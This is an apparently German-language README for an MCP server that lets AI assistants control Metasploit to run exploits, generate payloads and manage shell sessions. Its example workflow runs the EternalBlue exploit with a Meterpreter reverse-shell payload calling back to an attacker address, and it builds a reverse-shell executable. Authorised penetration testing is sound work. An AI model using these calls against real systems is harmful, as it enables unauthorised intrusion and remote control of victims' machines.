Metasploit MCP-Server
Ein Model Context Protocol (MCP)-Server für die Metasploit Framework-Integration.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Beschreibung
Dieser MCP-Server bildet eine Brücke zwischen großen Sprachmodellen wie Claude und der Penetrationstestplattform Metasploit Framework. Er ermöglicht KI-Assistenten den dynamischen Zugriff und die Steuerung von Metasploit-Funktionen über standardisierte Tools und ermöglicht so eine natürlichsprachliche Schnittstelle zu komplexen Sicherheitstest-Workflows.
Merkmale
Modulinformationen
list_exploits : Suchen und Auflisten verfügbarer Metasploit-Exploit-Module
list_payloads : Suchen und Auflisten verfügbarer Metasploit-Payload-Module mit optionaler Plattform- und Architekturfilterung
Ausnutzungs-Workflow
run_exploit : Konfigurieren und Ausführen eines Exploits gegen ein Ziel mit der Option, zuerst Prüfungen durchzuführen
run_auxiliary_module : Führen Sie ein beliebiges Metasploit-Hilfsmodul mit benutzerdefinierten Optionen aus
run_post_module : Führen Sie Post-Exploitation-Module für vorhandene Sitzungen aus
Payload-Generierung
generate_payload : Generiert Payload-Dateien mit Metasploit RPC (speichert Dateien lokal)
Sitzungsverwaltung
list_active_sessions : Zeigt aktuelle Metasploit-Sitzungen mit detaillierten Informationen an
send_session_command : Führen Sie einen Befehl in einer aktiven Shell oder Meterpreter-Sitzung aus
terminate_session : Beenden Sie eine aktive Sitzung zwangsweise
Handler-Verwaltung
list_listeners : Alle aktiven Handler und Hintergrundjobs anzeigen
start_listener : Erstellen Sie einen neuen Multi/Handler zum Empfangen von Verbindungen
stop_job : Beenden Sie alle laufenden Jobs oder Handler
Voraussetzungen
Metasploit Framework installiert und msfrpcd ausgeführt
Python 3.10 oder höher
Erforderliche Python-Pakete (siehe requirements.txt)
Installation
Dieses Repository klonen
Installieren Sie Abhängigkeiten:
pip install -r requirements.txtUmgebungsvariablen konfigurieren (optional):
MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
Verwendung
Starten Sie den Metasploit RPC-Dienst:
Transportmöglichkeiten
Der Server unterstützt zwei Transportmethoden:
HTTP/SSE (Server-Sent Events) : Standardmodus für die Interoperabilität mit den meisten MCP-Clients
STDIO (Standard Input/Output) : Wird mit Claude Desktop und ähnlichen direkten Pipe-Verbindungen verwendet
Sie können den Transportmodus explizit mit dem Flag --transport
auswählen:
Zusätzliche Optionen für den HTTP-Modus:
Claude Desktop Integration
Konfigurieren Sie für die Claude Desktop-Integration claude_desktop_config.json
:
Andere MCP-Clients
Für andere MCP-Clients, die HTTP/SSE verwenden:
Starten Sie den Server im HTTP-Modus:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085Konfigurieren Sie Ihren MCP-Client für die Verbindung mit:
SSE-Endpunkt:
http://your-server-ip:8085/sse
Sicherheitsüberlegungen
⚠️ WICHTIGER SICHERHEITSHINWEIS :
Dieses Tool bietet direkten Zugriff auf die Funktionen des Metasploit Frameworks, einschließlich leistungsstarker Exploit-Funktionen. Verwenden Sie es verantwortungsbewusst und nur in Umgebungen, in denen Sie die ausdrückliche Berechtigung zur Durchführung von Sicherheitstests haben.
Überprüfen Sie alle Befehle vor der Ausführung.
Nur in getrennten Testumgebungen oder mit entsprechender Autorisierung ausführen
Beachten Sie, dass Post-Exploitation-Befehle zu erheblichen Systemänderungen führen können
Beispiel-Workflows
Grundlegende Ausbeutung
Liste der verfügbaren Exploits:
list_exploits("ms17_010")
Wählen Sie einen Exploit aus und führen Sie ihn aus:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
Sitzungen auflisten:
list_active_sessions()
Befehle ausführen:
send_session_command(1, "whoami")
Nach der Ausbeutung
Führen Sie ein Postmodul aus:
run_post_module("windows/gather/enum_logged_on_users", 1)
Senden Sie benutzerdefinierte Befehle:
send_session_command(1, "sysinfo")
Beenden, wenn fertig:
terminate_session(1)
Handler-Verwaltung
Starten Sie einen Listener:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
Aktive Handler auflisten:
list_listeners()
Generieren Sie eine Nutzlast:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
Stoppen Sie einen Handler:
stop_job(1)
Konfigurationsoptionen
Payload-Speicherverzeichnis
Standardmäßig werden mit generate_payload
generierte Payloads in einem payloads
-Verzeichnis in Ihrem Home-Ordner ( ~/payloads
oder C:\Users\YourUsername\payloads
) gespeichert. Sie können diesen Speicherort anpassen, indem Sie die Umgebungsvariable PAYLOAD_SAVE_DIR
festlegen.
Festlegen der Umgebungsvariable:
Windows (PowerShell) :
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"Windows (Eingabeaufforderung) :
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloadsLinux/macOS :
export PAYLOAD_SAVE_DIR=/custom/path/to/payloadsIn der Claude Desktop-Konfiguration :
"env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }
Hinweis: Wenn Sie einen benutzerdefinierten Pfad angeben, stellen Sie sicher, dass dieser vorhanden ist oder die Anwendung über die Berechtigung zum Erstellen verfügt. Bei einem ungültigen Pfad kann die Payload-Generierung fehlschlagen.
Lizenz
Apache 2.0
This server cannot be installed
hybrid server
The server is able to function both locally and remotely, depending on the configuration or use case.
Stellt eine Brücke zwischen großen Sprachmodellen und dem Metasploit Framework her und ermöglicht KI-Assistenten den Zugriff auf Penetrationstestfunktionen und deren Steuerung über natürliche Sprache.
Related MCP Servers
- -securityFlicense-qualityA demonstration server that allows large language models to perform penetration testing tasks autonomously by interfacing with the Mythic C2 framework.Last updated -66
- -securityAlicense-qualityA FastMCP-based interface for Metasploit Framework, enabling AI agents to interact with Metasploit capabilities for exploitation, payload generation, target scanning, and session management.Last updated -13Apache 2.0
- -securityAlicense-qualityA module that enables AI assistants to access and utilize common penetration testing and security tools like Nmap and Metasploit through a simple interface.Last updated -3GPL 3.0
- -securityAlicense-qualityA middleware system that connects large language models (LLMs) with various tool services through an OpenAI-compatible API, enabling enhanced AI assistant capabilities with features like file operations, web browsing, and database management.Last updated -3MIT License